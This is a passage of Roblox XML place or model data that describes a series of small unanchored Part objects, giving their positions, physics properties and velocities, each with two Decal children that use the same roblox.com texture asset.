				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0258294661</X>
					<Y>-0.00016515897</Y>
					<Z>0.00549647911</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000857634877</X>
					<Y>-0.00527987117</Y>
					<Z>0.000410520675</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1299">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1300">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1301">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-108.653214</X>
					<Y>0.590911865</Y>
					<Z>-122.361732</Z>
					<R00>0.820306778</R00>
					<R01>0.000807581295</R01>
					<R02>0.571923196</R02>
					<R10>1.8706658e-005</R10>
					<R11>0.999998987</R11>
					<R12>-0.00143887452</R12>
					<R20>-0.571923733</R20>
					<R21>0.00119101733</R21>
					<R22>0.820305943</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0409272164</X>
					<Y>0.000525078212</Y>
					<Z>0.030343309</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00288142893</X>
					<Y>-0.0138392095</Y>
					<Z>-0.0022417549</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1302">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1303">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1304">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-124.473251</X>
					<Y>0.59017545</Y>
					<Z>-113.827644</Z>
					<R00>-0.809261084</R00>
					<R01>8.06577227e-005</R01>
					<R02>-0.587449133</R02>
					<R10>7.98089095e-005</R10>
					<R11>1</R11>
					<R12>2.73580754e-005</R12>
					<R20>0.587449133</R20>
					<R21>-2.47438456e-005</R21>
					<R22>-0.809261084</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0169770736</X>
					<Y>-0.000919095357</Y>
					<Z>-0.0465725288</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00113143399</X>
					<Y>-0.00640950445</Y>
					<Z>-2.68627482e-005</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1305">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1306">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1307">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-122.888115</X>
					<Y>0.770394862</Y>
					<Z>-113.761978</Z>
					<R00>-0.66194129</R00>
					<R01>0.29338944</R01>
					<R02>-0.68975091</R02>
					<R10>0.000450939726</R10>
					<R11>0.920368791</R11>
					<R12>0.391051292</R12>
					<R20>0.749555528</R20>
					<R21>0.258542001</R21>
					<R22>-0.609362423</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000842544192</X>
					<Y>0.0319898874</Y>
					<Z>0.0117933983</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.059067443</X>
					<Y>-0.00342756626</Y>
					<Z>0.0542944148</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1308">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1309">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1310">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-125.14698</X>
					<Y>0.591365993</Y>
					<Z>-110.913063</Z>
					<R00>-0.755539477</R00>
					<R01>8.51065925e-005</R01>
					<R02>0.655103087</R02>
					<R10>0.000158690382</R10>
					<R11>-0.99999994</R11>
					<R12>0.000312933087</R12>
					<R20>0.655103087</R20>
					<R21>0.000340391853</R21>
					<R22>0.755539417</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0111876577</X>
					<Y>0.00107287348</Y>
					<Z>-0.0371903852</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000697863579</X>
					<Y>-0.0107546942</Y>
					<Z>-0.00467884354</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1311">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1312">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1313">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-121.994019</X>
					<Y>0.891155481</Y>
					<Z>-112.318535</Z>
					<R00>-0.672577322</R00>
					<R01>0.740026295</R01>
					<R02>0.000986333238</R02>
					<R10>-8.90001229e-006</R10>
					<R11>-0.00134091359</R11>
					<R12>0.999999166</R12>
					<R20>0.740026951</R20>
					<R21>0.672576666</R21>
					<R22>0.000908415648</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0241139121</X>
					<Y>-0.0019933458</Y>
					<Z>-0.014520118</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00303468504</X>
					<Y>0.000106252752</Y>
					<Z>-0.00963060278</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1314">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1315">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1316">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-125.983009</X>
					<Y>0.591079652</Y>
					<Z>-111.997871</Z>
					<R00>-0.743249357</R00>
					<R01>7.97520188e-005</R01>
					<R02>-0.669014454</R02>
					<R10>0.000212878469</R10>
					<R11>1</R11>
					<R12>-0.000117291595</R12>
					<R20>0.669014454</R20>
					<R21>-0.00022959568</R21>
					<R22>-0.743249357</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0264449939</X>
					<Y>0.000437378796</Y>
					<Z>0.0309649892</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00452672038</X>
					<Y>-0.00690640509</Y>
					<Z>-0.00115494512</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1317">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1318">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1319">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-112.478554</X>
					<Y>0.781440735</Y>
					<Z>-99.4419022</Z>
					<R00>-0.800496697</R00>
					<R01>-0.158790424</R01>
					<R02>-0.577919126</R02>
					<R10>0.194307879</R10>
					<R11>-0.980940461</R11>
					<R12>0.000382656115</R12>
					<R20>-0.566965044</R20>
					<R21>-0.111987926</R21>
					<R22>0.816093922</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00781942811</X>
					<Y>0.0173218492</Y>
					<Z>-0.00118164928</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.0438809879</X>
					<Y>-0.0151138129</Y>
					<Z>0.0410107672</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1320">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1321">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1322">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-116.497406</X>
					<Y>0.589250207</Y>
					<Z>-104.519241</Z>
					<R00>-0.670563877</R00>
					<R01>0.00270876568</R01>
					<R02>-0.741846919</R02>
					<R10>5.42426051e-006</R10>
					<R11>0.999993324</R11>
					<R12>0.00364645338</R12>
					<R20>0.741851866</R20>
					<R21>0.00244115572</R21>
					<R22>-0.670559406</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00683418568</X>
					<Y>-6.04772758e-005</Y>
					<Z>-0.0584429428</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00385942962</X>
					<Y>0.0108799106</Y>
					<Z>-0.00328051997</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1323">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1324">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1325">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-113.475243</X>
					<Y>0.978365421</Y>
					<Z>-101.52552</Z>
					<R00>-0.513018131</R00>
					<R01>-0.00475152163</R01>
					<R02>-0.858364701</R02>
					<R10>0.000331234944</R10>
					<R11>0.99998349</R11>
					<R12>-0.00573342945</R12>
					<R20>0.858377755</R20>
					<R21>-0.00322567322</R21>
					<R22>-0.513008058</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0235310551</X>
					<Y>-0.00155918428</Y>
					<Z>-0.0762942433</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.0373184755</X>
					<Y>-0.0157623384</Y>
					<Z>0.0480775163</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1326">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1327">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1328">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-113.337746</X>
					<Y>0.587485433</Y>
					<Z>-100.862869</Z>
					<R00>-0.565430343</R00>
					<R01>0.000102412036</R01>
					<R02>-0.824796021</R02>
					<R10>5.82750145e-005</R10>
					<R11>1</R11>
					<R12>8.42166701e-005</R12>
					<R20>0.824796021</R20>
					<R21>-4.46336088e-007</R21>
					<R22>-0.565430343</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.155794382</X>
					<Y>-0.0114094997</Y>
					<Z>-0.119631432</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00123180693</X>
					<Y>-0.0585765466</Y>
					<Z>0.00601463625</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
